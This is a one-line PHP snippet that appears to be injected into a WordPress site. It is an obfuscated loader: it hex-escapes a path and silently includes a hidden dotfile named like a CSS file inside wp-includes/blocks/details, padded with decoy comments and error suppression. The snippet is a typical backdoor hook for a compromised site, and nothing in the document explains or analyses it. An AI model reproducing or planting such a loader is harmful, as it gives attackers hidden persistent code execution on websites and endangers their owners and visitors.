<?php /*19995*/ $rphs = "/var/www/moerman.\x63om/web/wp\x2din\x63ludes/blo\x63ks/details/.f2ba1d58.\x63ss"; if (!isset($rphs)) {htmlspecialchars ($rphs);} else { @include_once /* 79 */ ($rphs); } /*19995*/